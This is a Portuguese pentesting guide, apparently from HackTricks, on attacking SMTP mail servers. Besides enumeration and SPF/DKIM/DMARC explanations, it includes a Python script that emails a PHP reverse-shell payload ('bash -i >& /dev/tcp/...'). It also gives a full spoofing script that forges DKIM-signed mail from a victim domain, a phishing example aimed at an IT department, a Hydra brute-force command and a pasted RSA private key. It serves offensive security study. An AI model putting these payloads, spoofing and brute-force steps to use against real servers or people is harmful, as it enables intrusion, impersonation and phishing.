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25,465,587 - Pentesting SMTP/s

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

{% embed url="https://pentest-tools.com/" %}

Informações Básicas

SMTP (Simple Mail Transfer Protocol) é um protocolo TCP/IP usado para enviar e receber e-mails. No entanto, como é limitado em sua capacidade de enfileirar mensagens no destino, geralmente é usado com um dos outros dois protocolos, POP3 ou IMAP, que permitem ao usuário salvar mensagens em uma caixa de correio do servidor e baixá-las periodicamente do servidor.

Em outras palavras, os usuários geralmente usam um programa que usa SMTP para enviar e-mails e POP3 ou IMAP para receber e-mails. Em sistemas baseados em Unix, sendmail é o servidor SMTP mais amplamente utilizado para e-mails. Um pacote comercial, Sendmail, inclui um servidor POP3. Microsoft Exchange inclui um servidor SMTP e também pode ser configurado para incluir suporte POP3.
De aqui.

Porta padrão: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Cabeçalhos de EMAIL

Se tiver a oportunidade de fazer a vítima enviar-lhe um email (através do formulário de contato da página da web, por exemplo), faça-o porque poderá aprender sobre a topologia interna da vítima ao ver os cabeçalhos do email.

Também pode obter um email de um servidor SMTP tentando enviar para esse servidor um email para um endereço inexistente (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de enviar o email de um endereço permitido (verifique a política SPF) e de que pode receber mensagens NDN.

Também deve tentar enviar conteúdos diferentes porque pode encontrar informações mais interessantes nos cabeçalhos como: X-Virus-Scanned: by av.domain.com
Deve enviar o arquivo de teste EICAR.
Detectar o AV pode permitir que explore vulnerabilidades conhecidas.

Ações Básicas

Banner Grabbing/Conexão Básica

SMTP:

nc -vn <IP> 25

SMTPS:

SMTPS (Simple Mail Transfer Protocol Secure) é uma extensão do protocolo SMTP que adiciona uma camada de segurança usando SSL/TLS para criptografar a comunicação entre o cliente de email e o servidor de email.

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Encontrando servidores MX de uma organização

dig +short mx google.com

Enumeração

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Divulgação de informações

Se o servidor suporta autenticação NTLM (Windows) você pode obter informações sensíveis (versões). Mais informações aqui.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ou automatize isso com o plugin nmap smtp-ntlm-info.nse

Nome do servidor interno - Divulgação de informações

Alguns servidores SMTP completam automaticamente o endereço do remetente quando o comando "MAIL FROM" é emitido sem um endereço completo, divulgando seu nome interno:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Verifique se você consegue capturar alguma senha dos pacotes para a porta 25

Bruteforce de Autenticação

Enumeração de Bruteforce de Nome de Usuário

A autenticação nem sempre é necessária

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY (Verify) é um comando SMTP que é usado para verificar se um usuário específico existe em um servidor de e-mail. Esse comando pode ser explorado por atacantes para obter informações sobre usuários válidos em um domínio, o que pode ser útil para futuros ataques de engenharia social ou phishing. É altamente recomendado desabilitar o comando VRFY para evitar vazamento de informações sensíveis.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

O comando EXPN é usado para verificar se um endereço de e-mail específico é válido e para expandir uma lista de discussão. Este comando pode revelar informações sobre os usuários e endereços de e-mail válidos em um servidor SMTP. No entanto, muitos servidores SMTP desativam esse comando devido a preocupações com privacidade e segurança.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Ferramentas automáticas

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

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Relatórios DSN

Relatórios de Notificação de Status de Entrega: Se você enviar um e-mail para uma organização com um endereço inválido, a organização notificará que o endereço estava inválido enviando um e-mail de volta para você. Cabeçalhos do e-mail retornado irão conter possíveis informações sensíveis (como endereço IP dos serviços de e-mail que interagiram com os relatórios ou informações de software antivírus).

Comandos

Enviando um e-mail a partir do console do Linux

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Enviando um Email com Python

Aqui está uma maneira alternativa de enviar um email com um script em python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Contramedidas de Spoofing de E-mail

As organizações são impedidas de ter e-mails não autorizados enviados em seu nome ao empregar SPF, DKIM e DMARC devido à facilidade de spoofing de mensagens SMTP.

Um guia completo dessas contramedidas está disponível em https://seanthegeek.net/459/demystifying-dmarc/.

SPF

{% hint style="danger" %} O SPF foi "descontinuado" em 2014. Isso significa que, em vez de criar um registro TXT em _spf.domain.com, você o cria em domain.com usando a mesma sintaxe.
Além disso, para reutilizar registros SPF anteriores, é bastante comum encontrar algo como "v=spf1 include:_spf.google.com ~all" {% endhint %}

O Sender Policy Framework (SPF) é um mecanismo que permite aos Agentes de Transferência de E-mail (MTAs) verificar se um host que envia um e-mail está autorizado, consultando uma lista de servidores de e-mail autorizados definidos pelas organizações. Esta lista, que especifica endereços IP/faixas, domínios e outras entidades autorizadas a enviar e-mails em nome de um nome de domínio, inclui vários "Mecanismos" no registro SPF.

Mecanismos

Mecanismo Descrição
ALL Sempre corresponde; usado para um resultado padrão como -all para todos os IPs não correspondidos pelos mecanismos anteriores.
A Se o nome de domínio tiver um registro de endereço (A ou AAAA) que possa ser resolvido para o endereço do remetente, corresponderá.
IP4 Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá.
IP6 Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá.
MX Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio).
PTR Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível.
EXISTS Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolva). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas como consultas DNSBL.
INCLUDE Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada.
REDIRECT

Um redirecionamento é um apontador para outro nome de domínio que hospeda uma política SPF, permitindo que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.

A política SPF do domínio indicado no Mecanismo de redirecionamento será usada.

Também é possível identificar Qualificadores que indicam o que deve ser feito se um mecanismo for correspondido. Por padrão, o qualificador "+" é usado (então se algum mecanismo for correspondido, isso significa que é permitido).
Geralmente, você notará no final de cada política SPF algo como: ~all ou -all. Isso é usado para indicar que se o remetente não corresponder a nenhuma política SPF, você deve marcar o e-mail como não confiável (~) ou rejeitar (-) o e-mail.

Qualificadores

Cada mecanismo dentro da política pode ser prefixado por um dos quatro qualificadores para definir o resultado pretendido:

  • +: Corresponde a um resultado PASS. Por padrão, os mecanismos assumem este qualificador, tornando +mx equivalente a mx.
  • ?: Representa um resultado NEUTRO, tratado de forma semelhante a NENHUM (nenhuma política específica).
  • ~: Denota SOFTFAIL, servindo como um meio-termo entre NEUTRO e FALHA. E-mails que atendem a este resultado geralmente são aceitos, mas marcados de acordo.
  • -: Indica FALHA, sugerindo que o e-mail deve ser rejeitado diretamente.

No exemplo a seguir, a política SPF do google.com é ilustrada. Observe a inclusão de políticas SPF de diferentes domínios dentro da primeira política SPF:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradicionalmente era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. Hoje em dia, se um e-mail vem de um domínio sem um registro SPF válido, provavelmente será rejeitado/marcado como não confiável automaticamente.

Para verificar o SPF de um domínio, você pode usar ferramentas online como: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

O DKIM é utilizado para assinar e-mails de saída, permitindo sua validação por Agentes de Transferência de E-mail (MTAs) externos por meio da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada em um registro TXT do domínio. Para acessar essa chave, é necessário conhecer tanto o seletor quanto o nome de domínio.

Por exemplo, para solicitar a chave, o nome de domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail DKIM-Signature, por exemplo, d=gmail.com;s=20120113.

Um comando para buscar estas informações pode se parecer com:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

O DMARC melhora a segurança de e-mails baseando-se nos protocolos SPF e DKIM. Ele define políticas que orientam os servidores de e-mail no tratamento de e-mails de um domínio específico, incluindo como lidar com falhas de autenticação e para onde enviar relatórios sobre ações de processamento de e-mails.

Para obter o registro DMARC, você precisa consultar o subdomínio _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Tags do DMARC

Nome da Tag Propósito Exemplo
v Versão do protocolo v=DMARC1
pct Percentual de mensagens sujeitas a filtragem pct=20
ruf URI de relatório para relatórios forenses ruf=mailto:authfail@example.com
rua URI de relatório de relatórios agregados rua=mailto:aggrep@example.com
p Política para o domínio organizacional p=quarantine
sp Política para subdomínios do DO sp=reject
adkim Modo de alinhamento para DKIM adkim=s
aspf Modo de alinhamento para SPF aspf=r

E quanto aos Subdomínios?

De aqui.
Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.
O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa.

A Questão do Demônio: E quanto aos subdomínios?

Se eu receber um e-mail de pielovers.demon.co.uk e não houver dados SPF para pielovers, devo voltar um nível e testar o SPF para demon.co.uk? Não. Cada subdomínio no Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido a política do Demon se aplicar a todos os seus clientes por padrão; se o Demon quiser fazer isso, ele pode configurar registros SPF para cada subdomínio.

Portanto, o conselho para os publicadores de SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX.

Sites com registros A ou MX curinga também devem ter um registro SPF curinga, no formato: * IN TXT "v=spf1 -all"

Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição SPF muito diferente.

Relé Aberto

O uso de um servidor de retransmissão confiável pelo destinatário pode ser uma estratégia para garantir que os e-mails enviados não sejam marcados como spam e alcancem seu destino pretendido. No entanto, observou-se que os administradores frequentemente não possuem um entendimento detalhado das faixas de IP que devem ser permitidas. Essa lacuna de conhecimento pode levar a configurações incorretas no servidor SMTP, uma vulnerabilidade comumente descoberta durante testes de penetração externos e internos. Para contornar esse problema e evitar interrupções inadvertidas na comunicação por e-mail com clientes potenciais e existentes, os administradores podem optar por permitir todos os endereços IP. Essa abordagem é refletida na configuração do servidor SMTP, onde o parâmetro mynetworks é configurado para permitir conexões de qualquer endereço IP:

mynetworks = 0.0.0.0/0

Para testar se há um relay de e-mail aberto, uma ferramenta como nmap pode ser utilizada. Essa ferramenta é empregada para escanear o servidor alvo em busca da possibilidade de ele funcionar como um relay aberto, o que pode ser indicado pelo script de relay aberto smtp-open-relay. O comando a seguir demonstra como o nmap é usado para escanear a porta 25 no servidor com o endereço IP 10.10.10.10, fornecendo uma saída detalhada:

nmap -p 25 --script smtp-open-relay -v 10.10.10.10

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Ferramentas

Enviar E-mail Falso

Ou você pode usar uma ferramenta:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Se você receber algum erro ao usar a biblioteca dkim python para analisar a chave, sinta-se à vontade para usar a seguinte.
NOTA: Esta é apenas uma correção rápida para fazer verificações rápidas em casos em que, por algum motivo, a chave privada do openssl não pode ser analisada pelo dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Ou você pode fazer manualmente:

{% tabs %} {% tab title="PHP" %}

# Isso enviará uma mensagem não assinada
mail("seu_email@gmail.com", "Assunto de Teste!", "oi! Este é um teste", "De: administrador@vitima.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Mais informações

Encontre mais informações sobre essas proteções em https://seanthegeek.net/459/demystifying-dmarc/

Outros indicadores de phishing

  • Idade do domínio
  • Links apontando para endereços IP
  • Técnicas de manipulação de links
  • Anexos suspeitos (não comuns)
  • Conteúdo de e-mail corrompido
  • Valores utilizados diferentes dos cabeçalhos de e-mail
  • Existência de um certificado SSL válido e confiável
  • Submissão da página a sites de filtragem de conteúdo da web

Exfiltração através do SMTP

Se você pode enviar dados via SMTP leia isso.

Arquivo de configuração

Postfix

Normalmente, se instalado, em /etc/postfix/master.cf contém scripts para executar quando, por exemplo, um novo e-mail é recebido por um usuário. Por exemplo, a linha flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa que /etc/postfix/filtering será executado se um novo e-mail for recebido pelo usuário mark.

Outros arquivos de configuração:

sendmail.cf
submit.cf

Referências

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

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